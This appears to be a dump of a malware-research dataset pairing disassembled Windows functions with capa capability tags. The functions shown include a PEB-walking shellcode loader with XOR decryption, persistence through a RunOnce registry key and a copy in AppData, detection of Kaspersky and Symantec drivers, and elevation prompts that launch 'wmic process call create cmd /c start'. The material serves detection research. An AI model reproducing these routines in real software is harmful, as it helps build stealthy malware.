joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10039018
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
mov ebp, esp
sub esp, 0x50
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], eax
push 0
push 0x41797261
push 0x7262694c
push 0x64616f4c
mov dword [ebp - 0x14], esp
push 0x7373
push 0x65726464
push 0x41636f72
push 0x50746547
mov dword [ebp - 0x1c], esp
push 0x73
push 0x7365636f
push 0x7250746e
push 0x65727275
push 0x43746547
mov dword [ebp - 0x18], esp
push 0x316e
mov dword [ebp - 0x20], esp
mov ecx, 0x1a800
mov dword [ebp - 0x38], ecx
mov ecx, 0x38f37
mov dword [ebp - 0x40], ecx
mov ecx, 0x1000
mov dword [ebp - 0x44], ecx
call 0x100390c1
pop eax
sub eax, dword [ebp - 0x40]
add eax, 0xe76
mov dword [ebp - 0x30], eax
mov ebx, eax
push eax
push ebx
xor ecx, ecx
mov ecx, dword [ebp - 0x38]
call fcn.10039204
test eax, eax
jne 0x100391f2
pop ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
cmp byte [ebp - 0x2c], 1
jne 0x100390fc
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov ebx, eax
mov dword [ebp - 0x48], ebx
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov eax, dword [eax + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x14]
sub ecx, 3
mov dword [ebp - 4], ecx
mov ecx, dword [eax + 0x1c]
add ecx, ebx
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0x20]
add ecx, ebx
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
add ecx, ebx
mov dword [ebp - 0x10], ecx
xor eax, eax
xor ecx, ecx
mov eax, dword [ebp - 0x14]
push 0xc
call fcn.1003923a
test eax, eax
jne 0x1003914b
mov eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x100390e4
add esp, 4
xor edx, edx
push edx
push 0x6c6c64
push 0x2e323349
push 0x5041746e
push 0x65696c43
push esp
nop
mov ebx, eax
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
push 8
call fcn.1003923a
test eax, eax
jne 0x10039187
mov eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x100390e4
add esp, 4
mov ebx, dword [ebp - 0x24]
xor edx, edx
push edx
push dword [ebp - 0x20]
lea edx, [ebx]
push edx
nop
mov ebx, eax
push 0x456e1e77
push 0xc8b68f8b
push 0xdcc6b4de
push 0x5bb79ee2
push esp
push 0xb75b
nop
add esp, 8
mov dword [ebp - 0x20], esp
push 0
call fcn.10039273
add esp, 4
mov ebx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x38]
xor edi, edi
mov dl, byte [ebx]
mov esi, ebp
sub esi, 0x20
cmp edi, 0x10
jne 0x100391da
xor edi, edi
mov eax, dword [esi]
mov eax, dword [eax + edi]
xor dl, al
mov byte [ebx], dl
inc ebx
inc edi
dec ecx
jne 0x100391cc
push 1
call fcn.10039273
add esp, 4
mov eax, dword [ebp - 0x30]
add eax, 0x983c
mov esp, ebp
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
push eax
ret
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x10002830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
xor esi, esi
cmp edi, 0xffffffff
je 0x1000287f
test ebx, ebx
je 0x10002873
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002878
mov esi, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002890
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100028f9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
call fcn.10003030
neg eax
sbb esi, esi
and esi, 3
inc esi
call fcn.10003030
neg eax
push ebx
sbb eax, eax
push ebx
and eax, 0xfffffffa
push ebx
add eax, 8
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x10002902
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x10002948
call fcn.10003030
test eax, eax
jne 0x1000292e
push ecx
lea ecx, [esi + 0x53]
lea edx, [eax + 6]
call fcn.10008400
add esp, 4
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.10002830
add esp, 8
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002960
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], 0x520050
mov ecx, 0x41
mov dword [ebp - 0x18], 0x440049
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x520055
push eax
mov dword [ebp - 0x10], 0x530041
mov dword [ebp - 0xc], 0x4b0048
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.100082b0
add esp, 4
mov dword [ebp - 0x88], 0x4f0053
lea eax, [ebp - 4]
mov dword [ebp - 0x84], 0x540046
mov dword [ebp - 0x80], 0x410057
mov dword [ebp - 0x7c], 0x450052
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x88]
mov dword [ebp - 0x78], 0x4d005c
push eax
push 0x80000001
mov dword [ebp - 0x74], 0x630069
mov dword [ebp - 0x70], 0x6f0072
mov dword [ebp - 0x6c], 0x6f0073
mov dword [ebp - 0x68], 0x740066
mov dword [ebp - 0x64], 0x57005c
mov dword [ebp - 0x60], 0x6e0069
mov dword [ebp - 0x5c], 0x6f0064
mov dword [ebp - 0x58], 0x730077
mov dword [ebp - 0x54], 0x43005c
mov dword [ebp - 0x50], 0x720075
mov dword [ebp - 0x4c], 0x650072
mov dword [ebp - 0x48], 0x74006e
mov dword [ebp - 0x44], 0x650056
mov dword [ebp - 0x40], 0x730072
mov dword [ebp - 0x3c], 0x6f0069
mov dword [ebp - 0x38], 0x5c006e
mov dword [ebp - 0x34], 0x750052
mov dword [ebp - 0x30], 0x4f006e
mov dword [ebp - 0x2c], 0x63006e
mov dword [ebp - 0x28], 0x65
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10002ac0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x14], eax
mov edi, eax
mov dword [esp + 0xc], 0
test eax, eax
je 0x10002b1c
lea edi, [eax + 0x202]
mov dword [esp + 0xc], 0x404
mov ebx, edi
mov esi, eax
add edi, 0x202
jmp 0x10002b20
xor esi, esi
xor ebx, ebx
push 0x100
push esi
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.100081f0
test eax, eax
je 0x10002b53
mov ecx, esi
jmp 0x10002c40
xor eax, eax
mov dword [esp + 0x18], 0x520050
mov ecx, 0x52
mov word [esp + 0x24], ax
push ecx
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x440049
push eax
mov dword [esp + 0x28], 0x520055
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.100082b0
add esp, 4
push 0x100
push ebx
push str.AppData
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.100081f0
test eax, eax
je 0x10002bd8
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x10002bd3
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x10002bd5
xor edi, edi
push esi
jmp 0x10002c2f
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.Microsoft_
push ebx
call esi
lea eax, [esp + 0x18]
push eax
push ebx
call esi
push str..exe
push ebx
call esi
push ecx
mov ecx, dword [esp + 0x14]
mov edx, ebx
call fcn.10002890
add esp, 4
test eax, eax
je 0x10002c45
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x10002c2c
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x10002c2e
xor edi, edi
push ebx
push str.__s_
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, edi
add esp, 0xc
call fcn.10002960
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x10002f50
Capabilities:
Enumerate device drivers on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push esi
mov esi, dword [sym.imp.PSAPI.DLL_EnumDeviceDrivers]
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 4], 0
call esi
mov eax, dword [ebp - 4]
test eax, eax
jne 0x10002f82
pop esi
mov esp, ebp
pop ebp
ret
push edi
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x10002f9f
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edi
call esi
test eax, eax
je 0x10002ff2
mov ebx, dword [ebp - 4]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x10002ff2
lea ebx, [ebx]
push 0x400
lea eax, [ebp - 0x80c]
push eax
push dword [edi + esi*4]
call dword [sym.imp.PSAPI.DLL_GetDeviceDriverBaseNameW]
test eax, eax
je 0x10002fed
push dword [ebp - 0xc]
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10003009
inc esi
cmp esi, ebx
jl 0x10002fc0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10003030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x24], 0x6c006b
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 0x660069
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x730079
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], 0x6c006b
mov dword [ebp - 0xc], 0x2e0031
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
call fcn.10002f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10003096
lea ecx, [ebp - 0x10]
call fcn.10002f50
test eax, eax
jne 0x10003096
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x100030a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x14], 0x720073
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0x730074
mov dword [ebp - 0xc], 0x2e0070
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
mov dword [ebp - 0x44], 0x720073
mov dword [ebp - 0x40], 0x730074
mov dword [ebp - 0x3c], 0x360070
mov dword [ebp - 0x38], 0x2e0034
mov dword [ebp - 0x34], 0x790073
mov dword [ebp - 0x30], 0x73
mov dword [ebp - 0x5c], 0x61004e
mov dword [ebp - 0x58], 0x450076
mov dword [ebp - 0x54], 0x310078
mov dword [ebp - 0x50], 0x2e0035
mov dword [ebp - 0x4c], 0x790073
mov dword [ebp - 0x48], 0x73
mov dword [ebp - 0x2c], 0x61004e
mov dword [ebp - 0x28], 0x450076
mov dword [ebp - 0x24], 0x67006e
mov dword [ebp - 0x20], 0x73002e
mov dword [ebp - 0x1c], 0x730079
mov word [ebp - 0x18], ax
call fcn.10002f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10003180
lea ecx, [ebp - 0x44]
call fcn.10002f50
test eax, eax
jne 0x10003180
lea ecx, [ebp - 0x5c]
call fcn.10002f50
test eax, eax
jne 0x10003180
lea ecx, [ebp - 0x2c]
call fcn.10002f50
test eax, eax
jne 0x10003180
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x100033e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
mov dword [esi + 0xc], ebx
call fcn.100032b0
test eax, eax
je 0x100034d9
cmp eax, 0xffffffff
je 0x100034d9
mov ecx, esi
call fcn.10003320
test eax, eax
je 0x10003425
mov dword [esi], 1
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [esi], 0
mov al, byte [ebx]
test al, al
je 0x10003418
push edi
cmp al, 0x7b
jne 0x100034bf
inc ebx
push ebx
call fcn.10003190
sub eax, 0
je 0x100034bf
dec eax
je 0x100034b5
dec eax
jne 0x100034bf
mov al, byte [ebx]
mov edi, ebx
test al, al
je 0x10003467
cmp al, 0x7d
je 0x100034bf
inc edi
cmp al, 0x3d
je 0x10003467
mov al, byte [edi]
test al, al
jne 0x10003458
mov al, byte [edi]
cmp al, 0x7d
je 0x100034bf
mov esi, edi
test al, al
je 0x10003483
cmp byte [esi], 0x7d
je 0x10003480
inc esi
cmp byte [esi], 0
jne 0x10003473
jmp 0x10003483
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
test eax, eax
je 0x100034ad
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [esi], 0x7d
mov esi, dword [ebp - 4]
jmp 0x100034bf
push 1
push ebx
mov ecx, esi
call fcn.10003200
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0x10003432
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100034f0
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, ecx
mov dword [ebp - 0xc], edx
push edi
push eax
mov dword [ebp - 8], eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push eax
push esi
mov dword [ebp - 4], eax
call edi
mov ebx, eax
test ebx, ebx
je 0x100035af
push esi
push esi
lea eax, [ebp - 4]
push eax
push ebx
push 1
push esi
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x100035a1
push 4
push 0x3000
push 0x100
push esi
call edi
mov esi, dword [ebp - 0xc]
push 4
push 0x3000
push 0x100
push 0
mov dword [esi], eax
call edi
cmp byte [ebx], 0x3b
mov edi, ebx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
je 0x10003576
nop
inc edi
cmp byte [edi], 0x3b
jne 0x10003570
push ebx
push 0x1000f2dc
push dword [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov byte [edi], 0
call esi
lea eax, [edi + 1]
push eax
mov eax, dword [ebp + 8]
push 0x1000f2dc
push dword [eax]
call esi
add esp, 0x18
mov esi, 1
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100035c0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push 4
push 0x3000
push 0xa00
push 0
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0
call ebx
mov esi, eax
test esi, esi
jne 0x100035f7
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push 0x100
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000369a
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebp - 4], eax
call ebx
mov ebx, eax
test ebx, ebx
je 0x10003693
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10003685
mov ecx, dword [ebp - 4]
dec ecx
add ecx, ebx
cmp byte [ecx], 0
je 0x10003685
dec ecx
cmp byte [ecx], 0
jne 0x10003661
push dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
inc ecx
call fcn.100034f0
xor ecx, ecx
add esp, 4
test eax, eax
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 8], ecx
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100036d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
mov dword [eax], ebx
mov dword [ebp - 4], edx
lea ecx, [edi + 0xf]
lea eax, [esi + 0xf]
cmp esi, ecx
ja 0x10003714
cmp eax, edi
jb 0x10003714
mov ebx, edi
mov ecx, esi
sub ebx, esi
mov edx, 0x10
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
dec edx
jne 0x10003700
mov ebx, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
jmp 0x10003724
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [edi]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
mov ecx, dword [ebp + 0xc]
cmp edx, 0x10
jbe 0x10003798
lea eax, [edx - 0x11]
sub edi, esi
shr eax, 4
inc eax
mov dword [ebp + 0x14], eax
push ecx
push ebx
push esi
call fcn.10001020
mov ecx, dword [ebp + 0x10]
lea edi, [edi - 0x10]
movdqu xmm0, xmmword [ebx]
add esi, 0x10
add esp, 0xc
add ebx, 0x10
lea eax, [ecx + 0xf]
movdqu xmmword [ecx], xmm0
cmp esi, eax
ja 0x10003780
lea eax, [esi + 0xf]
cmp eax, ecx
jb 0x10003780
mov eax, esi
mov edx, 0x10
lea esp, [esp]
mov cl, byte [edi + eax]
lea eax, [eax + 1]
xor byte [eax - 1], cl
dec edx
jne 0x10003770
jmp 0x10003790
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [ecx]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
dec dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
jne 0x10003738
push ecx
push ebx
push esi
call fcn.10001020
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003db0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Execute shellcode via indirect call
Query environment variable
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x694
push ebx
push esi
push edi
mov esi, ecx
call fcn.10003cf0
test eax, eax
je 0x10003fca
call fcn.10003c70
test eax, eax
jne 0x10003fca
push 0xff
lea eax, [esp + 0xa4]
mov dword [esp + 0x1c], 0x770025
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0x6e0069
push eax
mov dword [esp + 0x2c], 0x690064
mov dword [esp + 0x30], 0x250072
mov dword [esp + 0x34], 0x73005c
mov dword [esp + 0x38], 0x730079
mov dword [esp + 0x3c], 0x650074
mov dword [esp + 0x40], 0x33006d
mov dword [esp + 0x44], 0x5c0032
mov dword [esp + 0x48], 0x620077
mov dword [esp + 0x4c], 0x6d0065
mov dword [esp + 0x50], 0x77005c
mov dword [esp + 0x54], 0x69006d
mov dword [esp + 0x58], 0x63
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x54]
mov dword [esp + 0x54], 0x720070
push eax
lea eax, [esp + 0x2a8]
mov dword [esp + 0x5c], 0x63006f
push eax
mov dword [esp + 0x64], 0x730065
mov dword [esp + 0x68], 0x200073
mov dword [esp + 0x6c], 0x610063
mov dword [esp + 0x70], 0x6c006c
mov dword [esp + 0x74], 0x630020
mov dword [esp + 0x78], 0x650072
mov dword [esp + 0x7c], 0x740061
mov dword [esp + 0x80], 0x200065
mov dword [esp + 0x84], 0x630022
mov dword [esp + 0x88], 0x64006d
mov dword [esp + 0x8c], 0x2f0020
mov dword [esp + 0x90], 0x200063
mov dword [esp + 0x94], 0x740073
mov dword [esp + 0x98], 0x720061
mov dword [esp + 0x9c], 0x200074
mov dword [esp + 0xa0], 0x730025
mov dword [esp + 0xa4], 0x22
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40
push 0x3000
push 0x3d
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [edi], 0x3c
mov dword [edi + 4], 0x40
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor esi, esi
mov dword [edi + 8], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x750072
mov dword [esp + 0x10], 0x61006e
mov dword [esp + 0x14], 0x73
mov dword [edi + 0xc], eax
lea eax, [esp + 0xa0]
mov dword [edi + 0x10], eax
lea eax, [esp + 0x2a0]
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
lea esp, [esp]
push edi
call ebx
test eax, eax
jne 0x10003fd1
inc esi
cmp esi, 0x64
jb 0x10003fb0
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]